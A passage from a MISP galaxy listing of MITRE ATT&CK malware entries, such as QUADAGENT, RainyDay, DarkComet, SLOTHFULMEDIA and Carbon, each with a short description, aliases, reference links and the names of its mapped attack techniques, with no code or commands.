- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5562. Table References

Links
https://attack.mitre.org/software/S0268
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/

QUADAGENT - S0269

[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by

[OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)

The tag is: *misp-galaxy:mitre-malware="QUADAGENT - S0269"*

QUADAGENT - S0269 is also known as:

- QUADAGENT

View relationships graph

QUADAGENT - S0269 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-

language:likelihood-probability="almost-certain"

Table 5563. Table References

Links
https://attack.mitre.org/software/S0269
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

RainyDay - S0629

[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: *misp-galaxy:mitre-malware="RainyDay - S0629"*

RainyDay - S0629 is also known as:

- RainyDay

View relationships graph

RainyDay - S0629 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5564. Table References

Links
https://attack.mitre.org/software/S0629
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

FruitFly - S0277

FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="FruitFly - S0277"*

FruitFly - S0277 is also known as:

- FruitFly

View relationships graph

FruitFly - S0277 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5565. Table References

Links
https://attack.mitre.org/software/S0277
https://objective-see.com/blog/blog_0x25.html

ZergHelper - S0287

[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)

The tag is: *misp-galaxy:mitre-malware="ZergHelper - S0287"*

ZergHelper - S0287 is also known as:

- ZergHelper

View relationships graph

ZergHelper - S0287 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with

estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 5566. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/
https://attack.mitre.org/software/S0287

iKitten - S0278

[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="iKitten - S0278"*

iKitten - S0278 is also known as:

* iKitten
* OSX/MacDownloader

View relationships graph

iKitten - S0278 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5567. Table References

Links
https://attack.mitre.org/software/S0278
https://objective-see.com/blog/blog_0x25.html

XcodeGhost - S0297

[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)

The tag is: *misp-galaxy:mitre-malware="XcodeGhost - S0297"*

XcodeGhost - S0297 is also known as:

- XcodeGhost

View relationships graph

XcodeGhost - S0297 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"

Table 5568. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/
http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/
https://attack.mitre.org/software/S0297

Proton - S0279

[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="Proton - S0279"*

Proton - S0279 is also known as:

- Proton

View relationships graph

Proton - S0279 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5569. Table References

Links
https://attack.mitre.org/software/S0279
https://objective-see.com/blog/blog_0x25.html

KeyRaider - S0288

[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)

The tag is: *misp-galaxy:mitre-malware="KeyRaider - S0288"*

KeyRaider - S0288 is also known as:

- KeyRaider

View relationships graph

KeyRaider - S0288 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 5570. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/
https://attack.mitre.org/software/S0288

NotCompatible - S0299

[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)

The tag is: *misp-galaxy:mitre-malware="NotCompatible - S0299"*

NotCompatible - S0299 is also known as:

- NotCompatible

View relationships graph

NotCompatible - S0299 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"

Table 5571. Table References

Links
https://attack.mitre.org/software/S0299
https://blog.lookout.com/blog/2014/11/19/notcompatible/

UBoatRAT - S0333

[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)

The tag is: *misp-galaxy:mitre-malware="UBoatRAT - S0333"*

UBoatRAT - S0333 is also known as:

- UBoatRAT

View relationships graph

UBoatRAT - S0333 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5572. Table References

Links

https://attack.mitre.org/software/S0333
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

DarkComet - S0334

[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)

The tag is: *misp-galaxy:mitre-malware="DarkComet - S0334"*

DarkComet - S0334 is also known as:

- DarkComet
- DarkKomet
- Fynloski
- Krademok
- FYNLOS

View relationships graph

DarkComet - S0334 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5573. Table References

Links
https://attack.mitre.org/software/S0334
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET

Rifdoor - S0433

[Rifdoor](https://attack.mitre.org/software/S0433) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant](https://attack.mitre.org/software/S0431).(Citation: Carbon Black HotCroissant April 2020)

The tag is: *misp-galaxy:mitre-malware="Rifdoor - S0433"*

Rifdoor - S0433 is also known as:

- Rifdoor

View relationships graph

Rifdoor - S0433 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5574. Table References

Links
https://attack.mitre.org/software/S0433
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/

SLOTHFULMEDIA - S0533

[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020)

In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool".(Citation: ESET PowerPool Code October 2020)

The tag is: *misp-galaxy:mitre-malware="SLOTHFULMEDIA - S0533"*

SLOTHFULMEDIA - S0533 is also known as:

- SLOTHFULMEDIA
- JackOfHearts
- QueenOfClubs

View relationships graph

SLOTHFULMEDIA - S0533 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5575. Table References

Links
https://attack.mitre.org/software/S0533
https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/
https://twitter.com/CNMF_CyberAlert/status/1311743710997159953
https://twitter.com/ESETresearch/status/1311762215490461696
https://twitter.com/craiu/status/1311920398259367942
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a

Carbon - S0335

[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Carbon - S0335"*

Carbon - S0335 is also known as:

- Carbon

View relationships graph

Carbon - S0335 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
